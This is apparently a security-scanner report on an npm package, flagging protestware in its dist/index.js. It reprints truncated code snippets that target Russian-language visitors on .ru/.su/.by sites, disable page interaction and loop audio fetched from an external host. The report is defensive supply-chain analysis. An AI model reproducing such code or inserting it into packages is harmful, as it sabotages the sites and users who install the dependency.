@esvndev/es-react-import-export@1.2.42: Malicious npm security | LPM Firewall

Loading npm security reports…

@esvndev/es-react-import-export@1.2.42: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged · loading source

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiati

High

Ai Review Evidence

The entrypoint bundle gates behavior on Russian language and Russian-associated host suffixes, then stores an activation date in local storage.

dist/index.jsView on unpkg · L14905

14912setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => {

High

Ai Review Evidence

After more than three days, the bundle disables page pointer interaction, adds looping audio from flag-gimn.ru, and attempts playback.

dist/index.jsView on unpkg · L14912

62358}]); // The message will only be shown to Russian users visiting Russian sites if (navigator.language === 'ru' && location.host.match(/\.(ru|su|xn--p1ai)$/)) { const noWar = document.createElement('div'); noWar.className = swalClasses['no-

High

Ai Review Evidence

A related bundle branch adds a political message for Russian-language visitors on Russian-associated sites.

dist/index.jsView on unpkg · L62358

package.jsonView file

4"main": "dist/index.js", "module": "dist/index.mjs", "types": "dist/index.d.ts", "license": "ESVN Limited Use License", "author": "dev@esvn.com.vn

High

Ai Review Evidence

The package entrypoint is dist/index.js.

package.jsonView on unpkg · L4

Source & flagged code

6 flagged

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiati

High

Ai Review Evidence

The entrypoint bundle gates behavior on Russian language and Russian-associated host suffixes, then stores an activation date in local storage.

dist/index.jsView on unpkg · L14905

14912setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => {

High

Ai Review Evidence

After more than three days, the bundle disables page pointer interaction, adds looping audio from flag-gimn.ru, and attempts playback.

dist/index.jsView on unpkg · L14912

62358}]); // The message will only be shown to Russian users visiting Russian sites if (navigator.language === 'ru' && location.host.match(/\.(ru|su|xn--p1ai)$/)) { const noWar = document.createElement('div'); noWar.className = swalClasses['no-

High

Ai Review Evidence

A related bundle branch adds a political message for Russian-language visitors on Russian-associated sites.

dist/index.jsView on unpkg · L62358

package.jsonView file

Lines 1-24json

1{

2 "name": "@esvndev/es-react-import-export",

3 "version": "1.2.42",

4 "main": "dist/index.js",

5 "module": "dist/index.mjs",

6